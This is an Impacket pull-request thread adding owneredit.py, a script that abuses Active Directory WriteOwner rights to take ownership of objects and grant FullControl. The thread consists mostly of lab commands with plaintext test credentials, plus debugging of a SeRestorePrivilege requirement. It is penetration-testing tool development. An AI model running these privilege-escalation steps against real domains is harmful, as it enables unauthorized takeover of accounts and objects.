impacket
impacket copied to clipboard
[owneredit.py] New example script to change an object's owner
Added this script to abuse WriteOwner (ADS_RIGHT_WRITE_OWNER) access rights. This allows to take ownership of another object, and then edit that object's DACL (with #1291 for example).
1. Edit DACL : failure
Trying to edit an victim's DACL (with #1291) . But it doesn't work, attacker doesn't have WriteDACL, and is not owner of victim.
# dacledit.py -principal 'attacker' -target 'victim' -dc-ip '192.168.56.101' 'domain.local'/'attacker':'123Pentest!!!' -action write -rights FullControl
Impacket v0.10.1.dev1+20220508.142945.5eb53ce9 - Copyright 2022 SecureAuth Corporation
[*] DACL backed up to dacledit-20220514-184038.bak
[-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-03152857, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
2. Edit Owner
Now using owneredit to change victim's owner to attacker.
# python3 examples/owneredit.py -target 'victim' domain.local/domainadmin:belikewater -dc-ip 192.168.56.101 -action write -new-owner attacker
Impacket v0.9.25.dev1+20220501.152640.c5d141e1 - Copyright 2021 SecureAuth Corporation
[*] Current owner information below
[*] - SID: S-1-5-21-229151724-2089186347-2907854869-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=domain,DC=local
[*] OwnerSid modified successfully!
[*] Current owner information below
[*] - SID: S-1-5-21-229151724-2089186347-2907854869-1118
[*] - sAMAccountName: attacker
[*] - distinguishedName: CN=attacker,CN=Users,DC=domain,DC=local
3. Edit DACL : success
# dacledit.py -principal 'attacker' -target 'victim' -dc-ip '192.168.56.101' 'domain.local'/'attacker':'123Pentest!!!' -action remove -rights FullControl
Impacket v0.10.1.dev1+20220508.142945.5eb53ce9 - Copyright 2022 SecureAuth Corporation
[*] DACL backed up to dacledit-20220514-184128.bak
[*] DACL modified successfully!
# dacledit.py -principal 'attacker' -target 'victim' -dc-ip '192.168.56.101' 'domain.local'/'attacker':'123Pentest!!!'
Impacket v0.10.1.dev1+20220508.142945.5eb53ce9 - Copyright 2022 SecureAuth Corporation
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-229151724-2089186347-2907854869-1118)
[*] ACE[20] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : None
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : attacker (S-1-5-21-229151724-2089186347-2907854869-1118)
Usage
Script accepts target and new owner in multiple formats (sAMAccountName, Security IDentifier or distinguishedName)
owner:
Object, controlled by the attacker, to set as owner of the target object
-new-owner NAME sAMAccountName
-new-owner-sid SID Security IDentifier
-new-owner-dn DN Distinguished Name
target:
Target object to edit the owner of
-target NAME sAMAccountName
-target-sid SID Security IDentifier
-target-dn DN Distinguished Name
dacl editor:
-action [{read,write}]
Action to operate on the owner attribute
This script needs testing. In my lab, I have an issue when changing the owner of an object from A to B then B to A. A to B works when I have WriteOwner rights, which is expected. But then reverting B to A (using the same creds of the user with WriteOwner permissions) throws a constraint violation.
[-] Could not modify object, the server reports a constrained violation: 0000051B: AtrErr: DSID-030F2312, #1:
0: 0000051B: DSID-030F2312, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 20119 (nTSecurityDescriptor)
If anyone could test in their lab and help me find out the issue it'd be awesome :smiley:
The script works perfectly in my lab, even in the scenario "from A to B then B to A". I haven't seen any issue for the moment:
> owneredit.py -new-owner BlWasp -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] - sAMAccountName: Administrator
[*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local
[*] OwnerSid modified successfully!
> owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local
> owneredit.py -new-owner Administrator -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local
[*] OwnerSid modified successfully!
> owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] - sAMAccountName: Administrator
[*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local
The script works perfectly in my lab, even in the scenario "from A to B then B to A". I haven't seen any issue for the moment:
> owneredit.py -new-owner BlWasp -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!' Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation [*] Current owner information below [*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500 [*] - sAMAccountName: Administrator [*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local [*] OwnerSid modified successfully! > owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!' Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation [*] Current owner information below [*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103 [*] - sAMAccountName: blwasp [*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local > owneredit.py -new-owner Administrator -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!' Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation [*] Current owner information below [*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103 [*] - sAMAccountName: blwasp [*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local [*] OwnerSid modified successfully! > owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!' Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation [*] Current owner information below [*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500 [*] - sAMAccountName: Administrator [*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local
Thank you for testing! I didn't specify it in my previous comment but I wasn't facing this issue when using a domain administrator account. It was happening when abusing WriteOwner permissions.
The script works perfectly in my lab, even in the scenario "from A to B then B to A". I haven't seen any issue for the moment:
> owneredit.py -new-owner BlWasp -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!' Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation [*] Current owner information below [*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500 [*] - sAMAccountName: Administrator [*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local [*] OwnerSid modified successfully! > owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!' Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation [*] Current owner information below [*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103 [*] - sAMAccountName: blwasp [*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local > owneredit.py -new-owner Administrator -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!' Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation [*] Current owner information below [*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103 [*] - sAMAccountName: blwasp [*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local [*] OwnerSid modified successfully! > owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!' Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation [*] Current owner information below [*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500 [*] - sAMAccountName: Administrator [*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=localThank you for testing! I didn't specify it in my previous comment but I wasn't facing this issue when using a domain administrator account. It was happening when abusing
WriteOwnerpermissions.
Ah yes exactly ! In my lab I encounter the same issue. More generally, it appears that after a owner modification, it is no more possible to change it with the script, but it is still possible to change the owner manually via the ADSI Edit tool on the Domain Controller. However, even after this manual modification it seems that the script still doesn't work and the same error returns for any new owner different from "B" (it is still possible to modify the owner to the same value that what set during "A to B").
After debug and research I have finally found something that looks to be the point. According to the Microsoft doc, the WriteOwner right doesn't allow to arbitrary change the owner of an object, it allows to assume the ownership of the object:
DS_RIGHT_WRITE_OWNER Value: 0x80000 The right to assume ownership of the object. The user must be an object trustee. The user cannot transfer the ownership to other users.
This is also what it is explain here.
The script here works perfectly and permits to correctly change the owner of an object. To arbitrary change the object's owner, the SeRestorePrivilege right is needed according to the Microsoft doc.
SeRestorePrivilege | This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file.
This is why it works with an admin account. By adding the attacker account to the Backup Operators group is works fine too.
In the example below, the blwasp user has WriteOwner against edit, and doesn't has any other particular right in the AD. He can change the owner of edit to blwasp but not to another user:
- ACL check
dacledit.py -action read -target "edit" -dc-ip 192.168.1.75 lab.local/administrator:Password123! -principal blwasp
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2570265163-3918697770-3667495639-1103)
[*] ACE[20] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE
[*] Access mask : **WriteOwner**, ReadControl, WriteProperties, ReadProperties, ListChildObjects (0xa0034)
[*] Trustee (SID) : blwasp (S-1-5-21-2570265163-3918697770-3667495639-1103)
- Edition to another user than
blwasp, triggers the error
python3 owneredit.py -dc-ip 192.168.1.75 -action write -target edit -new-owner edit 'LAB'/'blwasp':'Password123!' -debug
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket-0.10.1.dev1+20220514.194727.5c477e71-py3.9.egg/impacket
[+] Initializing domainDumper()
[+] Target principal found in LDAP (edit)
[+] Found new owner SID: S-1-5-21-2570265163-3918697770-3667495639-1178
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=lab,DC=local
[+] Attempt to modify the OwnerSid
{'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000051B: AtrErr: DSID-030F25BA, #1:\n\t0: 0000051B: DSID-030F25BA, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 20119 (nTSecurityDescriptor)\n\x00', 'referrals': None, 'type': 'modifyResponse'}
[-] Could not modify object, the server reports a constrained violation: 0000051B: AtrErr: DSID-030F25BA, #1:
0: 0000051B: DSID-030F25BA, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 20119 (nTSecurityDescriptor)
- Edition to
blwasp, works fine
python3 owneredit.py -dc-ip 192.168.1.75 -action write -target edit -new-owner blwasp 'LAB'/'blwasp':'Password123!' -debug
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket-0.10.1.dev1+20220514.194727.5c477e71-py3.9.egg/impacket
[+] Initializing domainDumper()
[+] Target principal found in LDAP (edit)
[+] Found new owner SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=lab,DC=local
[+] Attempt to modify the OwnerSid
[*] OwnerSid modified successfully!
Now, the blwasp user is added to the "Backup Operators** to retrieve the SeRestorePrivilege:
net rpc group addmem "Backup Operators" blwasp -U lab.local/administrator%'Password123!' -S 192.168.1.75
blwasp can effectively change the edit's owner to an arbitrary one:
python3 owneredit.py -dc-ip 192.168.1.75 -action write -target edit -new-owner Administrator 'LAB'/'blwasp':'Password123!' -debug
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket-0.10.1.dev1+20220514.194727.5c477e71-py3.9.egg/impacket
[+] Initializing domainDumper()
[+] Target principal found in LDAP (edit)
[+] Found new owner SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local
[+] Attempt to modify the OwnerSid
[*] OwnerSid modified successfully!
However, in my tests even with the SeRestorePrivilege right enabled, the WriteOwner right against the target is still needed.
Anything new about this ?
Anything new about this ?
@anadrianmanrique ?